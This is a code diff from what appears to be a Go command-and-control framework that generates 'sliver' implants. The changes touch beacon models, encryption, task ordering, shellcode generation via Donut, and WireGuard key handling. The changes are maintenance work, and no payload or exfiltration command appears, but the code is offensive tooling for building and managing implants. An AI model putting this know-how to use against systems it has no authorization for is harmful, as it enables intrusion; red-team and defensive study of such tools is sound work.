@@ -61,7 +61,7 @@ type tunnels struct {
|
||||
mutex *sync.Mutex
|
||||
}
|
||||
|
||||
func (t *tunnels) Create(sessionID uint32) *Tunnel {
|
||||
func (t *tunnels) Create(sessionID string) *Tunnel {
|
||||
tunnelID := NewTunnelID()
|
||||
session := Sessions.Get(sessionID)
|
||||
tunnel := &Tunnel{
|
||||
|
||||
@@ -24,6 +24,7 @@ package cryptography
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/ed25519"
|
||||
"crypto/rand"
|
||||
"crypto/sha256"
|
||||
@@ -145,11 +146,12 @@ func Encrypt(key [chacha20poly1305.KeySize]byte, plaintext []byte) ([]byte, erro
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
plaintext = bytes.NewBuffer(util.GzipBuf(plaintext)).Bytes()
|
||||
nonce := make([]byte, aead.NonceSize(), aead.NonceSize()+len(plaintext)+aead.Overhead())
|
||||
if _, err := rand.Read(nonce); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return aead.Seal(nonce, nonce, util.GzipBuf(plaintext), nil), nil
|
||||
return aead.Seal(nonce, nonce, plaintext, nil), nil
|
||||
}
|
||||
|
||||
// Decrypt - Decrypt using chacha20poly1305
|
||||
|
||||
@@ -293,7 +293,7 @@ func ListBeacons() ([]*models.Beacon, error) {
|
||||
return beacons, err
|
||||
}
|
||||
|
||||
// PendingBeaconTasksByBeaconID - Select a Beacon by ID
|
||||
// PendingBeaconTasksByBeaconID - Select a Beacon by ID, ordered by creation time
|
||||
func PendingBeaconTasksByBeaconID(beaconID string) ([]*models.BeaconTask, error) {
|
||||
tasks := []*models.BeaconTask{}
|
||||
err := Session().Where(
|
||||
@@ -301,7 +301,7 @@ func PendingBeaconTasksByBeaconID(beaconID string) ([]*models.BeaconTask, error)
|
||||
BeaconID: uuid.FromStringOrNil(beaconID),
|
||||
State: models.PENDING,
|
||||
},
|
||||
).Find(&tasks).Error
|
||||
).Order("created_at").Find(&tasks).Error
|
||||
return tasks, err
|
||||
}
|
||||
|
||||
|
||||
+22
-22
@@ -50,6 +50,7 @@ type Beacon struct {
|
||||
LastCheckin time.Time
|
||||
Version string
|
||||
ReconnectInterval int64
|
||||
ActiveC2 string
|
||||
ProxyURL string
|
||||
|
||||
ImplantBuildID uuid.UUID `gorm:"type:uuid;"`
|
||||
@@ -69,28 +70,27 @@ func (b *Beacon) BeforeCreate(tx *gorm.DB) (err error) {
|
||||
|
||||
func (b *Beacon) ToProtobuf() *clientpb.Beacon {
|
||||
return &clientpb.Beacon{
|
||||
ID: b.ID.String(),
|
||||
Name: b.Name,
|
||||
Hostname: b.Hostname,
|
||||
UUID: b.UUID.String(),
|
||||
Username: b.Username,
|
||||
UID: b.UID,
|
||||
GID: b.GID,
|
||||
OS: b.OS,
|
||||
Arch: b.Arch,
|
||||
Transport: b.Transport,
|
||||
RemoteAddress: b.RemoteAddress,
|
||||
PID: b.PID,
|
||||
Filename: b.Filename,
|
||||
LastCheckin: b.LastCheckin.Unix(),
|
||||
Version: b.Version,
|
||||
// ReconnectInterval: b.ReconnectInterval,
|
||||
ProxyURL: b.ProxyURL,
|
||||
// PollTimeout: b.PollTimeout,
|
||||
// ImplantBuildID: b.ImplantBuildID.String(),
|
||||
Interval: b.Interval,
|
||||
Jitter: b.Jitter,
|
||||
NextCheckin: b.NextCheckin,
|
||||
ID: b.ID.String(),
|
||||
Name: b.Name,
|
||||
Hostname: b.Hostname,
|
||||
UUID: b.UUID.String(),
|
||||
Username: b.Username,
|
||||
UID: b.UID,
|
||||
GID: b.GID,
|
||||
OS: b.OS,
|
||||
Arch: b.Arch,
|
||||
Transport: b.Transport,
|
||||
RemoteAddress: b.RemoteAddress,
|
||||
PID: b.PID,
|
||||
Filename: b.Filename,
|
||||
LastCheckin: b.LastCheckin.Unix(),
|
||||
Version: b.Version,
|
||||
ActiveC2: b.ActiveC2,
|
||||
ProxyURL: b.ProxyURL,
|
||||
ReconnectInterval: b.ReconnectInterval,
|
||||
Interval: b.Interval,
|
||||
Jitter: b.Jitter,
|
||||
NextCheckin: b.NextCheckin,
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
+23
-17
@@ -98,8 +98,6 @@ const (
|
||||
clientsDirName = "clients"
|
||||
sliversDirName = "slivers"
|
||||
|
||||
encryptKeySize = 16
|
||||
|
||||
// DefaultReconnectInterval - In seconds
|
||||
DefaultReconnectInterval = 60
|
||||
// DefaultMTLSLPort - Default listen port
|
||||
@@ -254,7 +252,7 @@ func GetSliversDir() string {
|
||||
// Sliver Generation Code
|
||||
// -----------------------
|
||||
|
||||
// SliverShellcode - Generates a sliver shellcode using sRDI
|
||||
// SliverShellcode - Generates a sliver shellcode using Donut
|
||||
func SliverShellcode(name string, config *models.ImplantConfig) (string, error) {
|
||||
appDir := assets.GetRootAppDir()
|
||||
goConfig := &gogo.GoConfig{
|
||||
@@ -284,14 +282,16 @@ func SliverShellcode(name string, config *models.ImplantConfig) (string, error)
|
||||
ldflags[0] += " -H=windowsgui"
|
||||
}
|
||||
// Keep those for potential later use
|
||||
gcflags := fmt.Sprintf("")
|
||||
asmflags := fmt.Sprintf("")
|
||||
gcflags := ""
|
||||
asmflags := ""
|
||||
// trimpath is now a separate flag since Go 1.13
|
||||
trimpath := "-trimpath"
|
||||
_, err = gogo.GoBuild(*goConfig, pkgPath, dest, "pie", tags, ldflags, gcflags, asmflags, trimpath)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
config.FileName = path.Base(dest)
|
||||
shellcode, err := DonutShellcodeFromFile(dest, config.GOARCH, false, "", "", "")
|
||||
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
@@ -362,11 +362,14 @@ func SliverSharedLibrary(name string, config *models.ImplantConfig) (string, err
|
||||
ldflags[0] += " -H=windowsgui"
|
||||
}
|
||||
// Keep those for potential later use
|
||||
gcflags := fmt.Sprintf("")
|
||||
asmflags := fmt.Sprintf("")
|
||||
gcflags := ""
|
||||
asmflags := ""
|
||||
// trimpath is now a separate flag since Go 1.13
|
||||
trimpath := "-trimpath"
|
||||
_, err = gogo.GoBuild(*goConfig, pkgPath, dest, "c-shared", tags, ldflags, gcflags, asmflags, trimpath)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
config.FileName = path.Base(dest)
|
||||
|
||||
err = ImplantBuildSave(name, config, dest)
|
||||
@@ -412,8 +415,8 @@ func SliverExecutable(name string, config *models.ImplantConfig) (string, error)
|
||||
if !config.Debug && goConfig.GOOS == WINDOWS {
|
||||
ldflags[0] += " -H=windowsgui"
|
||||
}
|
||||
gcflags := fmt.Sprintf("")
|
||||
asmflags := fmt.Sprintf("")
|
||||
gcflags := ""
|
||||
asmflags := ""
|
||||
if config.Debug {
|
||||
gcflags = "all=-N -l"
|
||||
ldflags = []string{}
|
||||
@@ -424,10 +427,11 @@ func SliverExecutable(name string, config *models.ImplantConfig) (string, error)
|
||||
trimpath = "-trimpath"
|
||||
}
|
||||
_, err = gogo.GoBuild(*goConfig, pkgPath, dest, "", tags, ldflags, gcflags, asmflags, trimpath)
|
||||
config.FileName = path.Base(dest)
|
||||
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
config.FileName = filepath.Base(dest)
|
||||
err = ImplantBuildSave(name, config, dest)
|
||||
|
||||
if err != nil {
|
||||
buildLog.Errorf("Failed to save build: %s", err)
|
||||
}
|
||||
@@ -439,7 +443,7 @@ func renderSliverGoCode(name string, config *models.ImplantConfig, goConfig *gog
|
||||
var err error
|
||||
target := fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH)
|
||||
if _, ok := gogo.ValidCompilerTargets(*goConfig)[target]; !ok {
|
||||
return "", fmt.Errorf("Invalid compiler target: %s", target)
|
||||
return "", fmt.Errorf("invalid compiler target: %s", target)
|
||||
}
|
||||
|
||||
buildLog.Debugf("Generating new sliver binary '%s'", name)
|
||||
@@ -495,10 +499,12 @@ func renderSliverGoCode(name string, config *models.ImplantConfig, goConfig *gog
|
||||
// Generate wg Keys as needed
|
||||
if config.WGc2Enabled {
|
||||
implantPrivKey, _, err := certs.ImplantGenerateWGKeys(config.WGPeerTunIP)
|
||||
_, serverPubKey, err := certs.GetWGServerKeys()
|
||||
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("Failed to embed implant wg keys: %s", err)
|
||||
return "", err
|
||||
}
|
||||
_, serverPubKey, err := certs.GetWGServerKeys()
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("failed to embed implant wg keys: %s", err)
|
||||
}
|
||||
config.WGImplantPrivKey = implantPrivKey
|
||||
config.WGServerPubKey = serverPubKey
|
||||
|
||||
@@ -83,6 +83,7 @@ func TestSliverExecutableWindows(t *testing.T) {
|
||||
multiExe(t, "windows", "amd64", false, false)
|
||||
multiExe(t, "windows", "386", false, false)
|
||||
multiExe(t, "windows", "386", false, false)
|
||||
|
||||
// Multiple Beacons
|
||||
multiExe(t, "windows", "amd64", true, true)
|
||||
multiExe(t, "windows", "amd64", true, false)
|
||||
|
||||
@@ -71,7 +71,7 @@ func getRandomWord(fpath string) (string, error) {
|
||||
}
|
||||
wordsLen := len(words)
|
||||
if wordsLen == 0 {
|
||||
return "", fmt.Errorf("No words found in %s", fpath)
|
||||
return "", fmt.Errorf("no words found in %s", fpath)
|
||||
}
|
||||
word := words[insecureRand.Intn(wordsLen-1)]
|
||||
return strings.TrimSpace(word), nil
|
||||
|
||||
@@ -43,7 +43,7 @@ var (
|
||||
storageLog = log.NamedLogger("generate", "storage")
|
||||
|
||||
// ErrImplantBuildFileNotFound - More descriptive 'key not found' error
|
||||
ErrImplantBuildFileNotFound = errors.New("Implant build file not found")
|
||||
ErrImplantBuildFileNotFound = errors.New("implant build file not found")
|
||||
)
|
||||
|
||||
func getBuildsDir() (string, error) {
|
||||
@@ -75,7 +75,7 @@ func ImplantBuildSave(name string, config *models.ImplantConfig, fPath string) e
|
||||
rootAppDir, _ := filepath.Abs(assets.GetRootAppDir())
|
||||
fPath, _ = filepath.Abs(fPath)
|
||||
if !strings.HasPrefix(fPath, rootAppDir) {
|
||||
return fmt.Errorf("Invalid path '%s' is not a subdirectory of '%s'", fPath, rootAppDir)
|
||||
return fmt.Errorf("invalid path '%s' is not a subdirectory of '%s'", fPath, rootAppDir)
|
||||
}
|
||||
|
||||
data, err := ioutil.ReadFile(fPath)
|
||||
|
||||
Loaded 100 of 123 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user